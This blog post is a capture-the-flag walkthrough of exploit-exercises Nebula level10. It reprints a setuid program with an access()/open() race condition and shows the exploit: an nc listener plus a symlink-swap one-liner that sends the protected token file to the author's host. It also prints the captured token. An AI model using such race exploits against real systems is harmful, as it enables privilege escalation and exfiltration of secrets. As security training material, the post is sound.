Wednesday, October 31, 2012

exploit-exercises Nebula: level10

We continue on climbing the Nebula wargame, this time, attacking level10. The source code for the vulnerable binary flag10 is provided.
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
    char *file;
    char *host;

    if(argc < 3) {
        printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
        exit(1);
    }

    file = argv[1];
    host = argv[2];

    if(access(argv[1], R_OK) == 0) {
        int fd;
        int ffd;
        int rc;
        struct sockaddr_in sin;
        char buffer[4096];

        printf("Connecting to %s:18211 .. ", host); fflush(stdout);

        fd = socket(AF_INET, SOCK_STREAM, 0);

        memset(&sin, 0, sizeof(struct sockaddr_in));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(host);
        sin.sin_port = htons(18211);

        if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
            printf("Unable to connect to host %s\n", host);
            exit(EXIT_FAILURE);
        }

#define HITHERE ".oO Oo.\n"
        if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
            printf("Unable to write banner to host %s\n", host);
            exit(EXIT_FAILURE);
        }
#undef HITHERE

        printf("Connected!\nSending file .. "); fflush(stdout);

        ffd = open(file, O_RDONLY);
        if(ffd == -1) {
            printf("Damn. Unable to open file\n");
            exit(EXIT_FAILURE);
        }

        rc = read(ffd, buffer, sizeof(buffer));
        if(rc == -1) {
            printf("Unable to read from file: %s\n", strerror(errno));
            exit(EXIT_FAILURE);
        }

        write(fd, buffer, rc);

        printf("wrote file!\n");

    } else {
        printf("You don't have access to %s\n", file);
    }
}
The most interesting part is highlighted in red. access() system call is used to check if the real user has access to a file depending on a provided mode (read in our case.) Our goal is to read the token file and as expected, we won't be able to do so, directly.
level10@nebula:/home/flag10$ ./flag10 token 192.168.56.1
You don't have access to token
What is interesting when looking closer, is that the action of checking the privileges using access() and opening the file is not atomic (e.g it is not indivisible). This makes the program vulnerable to race conditions, in which we will make modifications to the file in a certain interval of time (between access() and open().)
First, we set up our listener, waiting impatiently for the token file.
kroosec@dojo:~/notes/nebula$ nc -l 18211 -k
Now, we exploit the vulnerability.
level10@nebula:/home/flag10$ ./flag10 /tmp/pwn10 192.168.56.1 & ln -f -s /home/flag10/token /tmp/pwn10
[1] 1302
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. level10@nebula:/home/flag10$ wrote file!
On the other side, we receive the content of the file token. 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27. We use it to login into flag10 user account and getflag!
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
Note that depending on your luck (time at which symlinking happens, e.g between access() and open(), before or after), you may want to make a shell script that loops through the process a couple of times. But again, I am just lucky.

No comments:

Post a Comment